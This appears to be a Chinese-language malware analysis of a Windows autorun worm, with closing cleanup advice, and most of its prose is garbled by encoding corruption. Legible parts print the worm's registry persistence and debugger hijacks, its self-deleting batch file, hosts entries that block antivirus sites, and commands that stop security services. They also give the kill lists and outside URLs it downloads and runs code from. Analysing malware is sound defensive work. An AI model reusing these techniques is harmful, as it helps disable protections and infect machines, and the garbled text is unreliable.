²¡¶¾Æô¶¯ºó
ÓÃexplorer´ò¿ª:
d:\
e:\
f:\
g:\
h:\
i:\
system32ÏÂ:
Ëæ»úÃû.exe
Ëæ»úÃû.dll
severe.exe
hx1.bat
noruns.reg
driversĿ¼ÏÂ:
conime.exe
Ëæ»úÃû.exe

¸÷ÅÌ·ûÏÂ:
OSO.exe
autorun.inf
ÔËÐÐ:
system32Ï Ëæ»ú.exe
severe.exe
drivers\conime.exe
´´½¨Ïß³Ì:
sub_404958
Éú³Éhx1.bat
ÄÚÈÝ:
@echo off
set date=2004-1-22
ping ** localhost > nul
date %date%
del %0
batµÄÊֶμ°Ï°¹ßºÍASN.2ÏàËÆ,¿ÉÄÜͬһ×÷Õß

ÐÞ¸Ä×¢²á±í:
1.software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall
ÏÂCheckedValueΪ0(old=1)

2.Software\Microsoft\Windows\CurrentVersion\Run
ÏÂÆô¶¯Ïî(Ëæ»ú)
3.Software\Microsoft\Windows\CurrentVersion\Run
ÏÂÆô¶¯Ïî(severe.exe)
4.SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
ÏÂÆô¶¯Ïî
Shell = Explorer.exe  %System32%\drivers\conime.exe
5.Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*
ÏÂDebugger=Ëæ»úÃû.exe
*Ϊ±»ÆÁ±ÎµÄÈí¼þ
ÆÁ±Î´ÎÐòÈçÏÂ:
MagicSet.exe
Rav.exe
avp.com
avp.exe
KRegEx.exe
KvDetect.exe
KvXP.kxp
TrojDie.kxp
KVMonXP.kxp
IceSword.exe
mmsk.exe
WoptiClean.exe
kabaload.exe
360Safe.exe
runiep.exe
iparmo.exe
adam.exe
RavMon.exe
QQDoctor.exe
SREng.exe
Ras.exe
msconfig.exe
regedit.exe
regedit.com
msconfig.com
PFW.exe
PFWLiveUpdate.exe
EGHOST.exe
NOD32.exe
¸Ã´®ÆÁ±ÎÁбíºÍASN.2µÄ±È½ÏÏàËÆ
Ëæ»úÃûÉú³É×Ö´®: @#Z!$/kqj

ÿ¸ô1800Ãë´´½¨Ïß³Ìsub_40B950
½«×Ô¼ºcopyµ½driversĿ¼ÏÂconime.exe
Ö´ÐÐdrivers\conime.exe
ÿ¸ô1500Ãë´´½¨Ïß³Ì
½«×Ô¼ºcopyµ½system32Ŀ¼ÏÂËæ»úÃû.exe
Ö´ÐÐËæ»úÃû.exe
ÿ¸ô1500ÃëÊÍ·Åautorun.infµ½¸÷ÅÌÏÂ
copy/Ö´ÐÐdriversÏÂconime.exe
´´½¨×Ô¼ºµÄ»¥³â¶ÔÏó Q X-1,QX-2,QX-3
·Ö±ðÊÇ3¸öEXEÏ໥ʶ±ðµÄ·½·¨
Æäʵ3¸öÔËÐÐÖÐEXEÊÇͬһ¸öÎļþ,Ö»ÊÇÔËÐдÎÐò²»Í¬,ʹÓöà¸ö²»Í¬µÄ»¥³â¶ÔÏó½øÐÐЭ×÷

´´½¨Ïß³Ì:
sub_4097C0:
1.ÔËÐÐnoruns.reg
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDriveTypeAutoRun"=dword:b5
2.ɾ³ýkakatool.dll
  É¾³ýdqhx2.txt,dqhx3.txt
  ½áÊø½ø³Ì:NTdhcp.exe, SVCHOXT.EXE
  ÐÞ¸Ähosts±í,Ìí¼Ó:
127.0.0.1       localhost
127.0.0.1       mmsk.cn
127.0.0.1       ikaka.com
127.0.0.1       safe.qq.com
127.0.0.1       360safe.com
127.0.0.1       www.mmsk.cn
127.0.0.1       www.ikaka.com
127.0.0.1       tool.ikaka.com
127.0.0.1       tool.ikaka.com
127.0.0.1       www.360safe.com
127.0.0.1       zs.kingsoft.com
127.0.0.1       forum.ikaka.com
127.0.0.1       up.rising.com.cn
127.0.0.1       scan.kingsoft.com
127.0.0.1       kvup.jiangmin.com
127.0.0.1       reg.rising.com.cn
127.0.0.1       update.rising.com.cn
127.0.0.1       update7.jiangmin.com
127.0.0.1       download.rising.com.cn
127.0.0.1       dnl-us1.kaspersky-labs.com
127.0.0.1       dnl-us2.kaspersky-labs.com
127.0.0.1       dnl-us3.kaspersky-labs.com
127.0.0.1       dnl-us4.kaspersky-labs.com
127.0.0.1       dnl-us5.kaspersky-labs.com
127.0.0.1       dnl-us6.kaspersky-labs.com
127.0.0.1       dnl-us7.kaspersky-labs.com
127.0.0.1       dnl-us8.kaspersky-labs.com
127.0.0.1       dnl-us9.kaspersky-labs.com
127.0.0.1       dnl-us10.kaspersky-labs.com
127.0.0.1       dnl-eu1.kaspersky-labs.com
127.0.0.1       dnl-eu1.kaspersky-labs.com
127.0.0.1       dnl-eu2.kaspersky-labs.com
127.0.0.1       dnl-eu3.kaspersky-labs.com
127.0.0.1       dnl-eu4.kaspersky-labs.com
127.0.0.1       dnl-eu5.kaspersky-labs.com
127.0.0.1       dnl-eu6.kaspersky-labs.com
127.0.0.1       dnl-eu7.kaspersky-labs.com
127.0.0.1       dnl-eu8.kaspersky-labs.com
127.0.0.1       dnl-eu9.kaspersky-labs.com
127.0.0.1       dnl-eu10.kaspersky-labs.com
´´½¨Ïß³Ì: sub_40B0C8
1.´Ó http://www.cd321.net/30w.txt»ñÈ¡¸üв¢ÏÂÔØÖ´ÐÐ
2.´Ó http://www.ctv163.com/admin/down.txt»ñÈ¡¸üв¢ÏÂÔØÖ´ÐÐ
´´½¨Ïß³Ì: sub_40AD14
1.´´½¨»¥³âÌå:ExeMutex_QQRobber2.0,DllMutex_QQRobber2.0,×èÖ¹QQ´óµÁÔËÐÐ
2.²éÕÒËùÓд°¿Ú±êÌâ,ÕÒµ½°üº¬:ɱ¶¾,רɱ,²¡¶¾,ľÂí,×¢²á±íµÄ´°¿Ú
¸øËüÃÇͶµÝWM_QUITÏûÏ¢,ʹ֮Í˳ö

3.ÔËÐÐÃüÁî:
net stop srservice
sc config srservice start= disabled
net stop stop sharedaccess
net stop KVWSC
sc config KVWSC start= disabled
net stop KVSrvXP
sc config KVSrvXP start= disabled
net stop kavsvc
sc config kavsvc start= disabled
sc config RsRavMon start= disabled
net stop RsCCenter
sc config RsCCenter start= disabled
net stop RsRavMon
4.ÕÒµ½°üº¬"ÈðÐÇÌáʾ"µÄ´°¿Ú,²¢Ôڸô°¿ÚÉÏʹÓÃFindWindowsExÕÒµ½±êÌâΪ"ÊÇ(&Y)"µÄ°´Å¥,ÏòÆäͶµÝBM_CLICKÏûÏ¢,×Ô¶¯µã»÷ÊÇ°´Å¥
5.²éÕÒ²¢½áÊøÏÂÁнø³Ì:
sc.exe
cmd.exe
net.exe
sc1.exe
net1.exe
PFW.exe
Kav.exe
KVOL.exe
KVFW.exe
adam.exe
qqav.exe
qqkav.exe
TBMon.exe
kav32.exe
kvwsc.exe
CCAPP.exe
KRegEx.exe
kavsvc.exe
VPTray.exe
RAVMON.exe
EGHOST.exe
KavPFW.exe
SHSTAT.exe
RavTask.exe
TrojDie.kxp
Iparmor.exe
MAILMON.exe
MCAGENT.exe
KAVPLUS.exe
RavMonD.exe
Rtvscan.exe
Nvsvc32.exe
KVMonXP.exe
Kvsrvxp.exe
CCenter.exe
KpopMon.exe
RfwMain.exe
RfwMain.exe
MCVSESCN.exe
MSKAGENT.exe
kvolself.exe
KVCenter.kxp
kavstart.exe
RAVTIMER.exe
RRfwMain.exe
FireTray.exe
UpdaterUI.exe
KVSrvXp_1.exe
RavService.exe
2.´´½¨»¥³âÌå:AntiTrojan3721,ASSISTSHELLMUTEX,SKYNET_PERSONAL_FIREWALL,KingsoftAntivirusScanProgram7Mutex,×èÖ¹3721·´¼äµýר¼Ò¡¢ÌìÍø¡¢½ðɽɱ¶¾ÔËÐÐ
3.½øÐоµÏó½Ù³Ö¡¢Æô¶¯Ïî¡¢ÎļþÒþ²ØµÈµÄ×¢²á±íÐ޸ģ¬¼ûÇ°
´´½¨Ïß³Ì: sub_40AC8C
¸ÃÏß³ÌÔÚsub_40AD14ÐÞ¸Ä×¢²á±íºó²úÉú
ÏÈsleep 8Ãë
ÔÙʹÓÃFindWindowAÕÒµ½±êÌâΪ"ÈðÐÇ×¢²á±í¼à¿ØÌáʾ"µÄ´°¿Ú£¬½«Æä´øµ½Ç°Ì¨£¬È»ºó²Ù×÷Êó±êµã»÷¹Ø±ÕÖ®
sleep 1Ãë
ÔÙÖظ´²éÕÒ/¹Ø±Õ¶¯×÷£¬Öظ´9´Î½áÊø

¾­¹ýÓ벡¶¾µÄ¼¸´Î½ÏÁ¿£¬×ÜËãͨ¹ý¼¸¸ö°²È«¹¤¾ß¸ã¶¨ÁË£¬µ«ÊÇϵͳÈÔÈ»»áÊÇûÓÐÍêÈ«µÄ´¦ÀíºÃ£¬½¨Ò飺½«Êý¾ÝÒÔÉϵŤ×÷ÍêÈ«µÄ×öºÃºó£¬½«ÐèÒªµÄÊý¾Ý±¸·Ý£¬ÖØа²×°ÏµÍ³£¬ÏµÍ³°²×°Íê³Éºó²»Òªµã»÷ÈκÎÅÌ·ûµÄÇé¿öÏ£¬¼±Ê±µÄ´òÉÏÏà¹ØµÄ²¹¶¡¡£Í¨¹ýÓÒ»÷ÅÌ·û->´ò¿ª£¬µÄ·½Ê½À´´ò¿ªÅÌ·û¡£ÅÌ·û´ò¿ªºóµã¹¤¾ß->Îļþ¼ÐÑ¡Ïî->²é¿´->ÏÔʾËùÓÐÎĵµ¡¢ÏÔʾϵͳÎļþ¼Ð¡¢ÏÔʾÀ©Õ¹ÃûµÄ¼¸¸öÏîÄ¿È«²¿´ò¿ª¡£Èç¹ûÄãµÄÅÌ·ûÄÚ´æÔÚOSO.EXE£»autorun.inf£»ÃÀÅ®ÓÎÏ·.pif£»ÖØÒª×ÊÁÏ.exe £¬<--ÕâËĸöÎļþµÄʱºòÇëʹÓÃÎÒÌṩµÄС¹¤¾ßÀ´·ÛËéËüÃÇ°É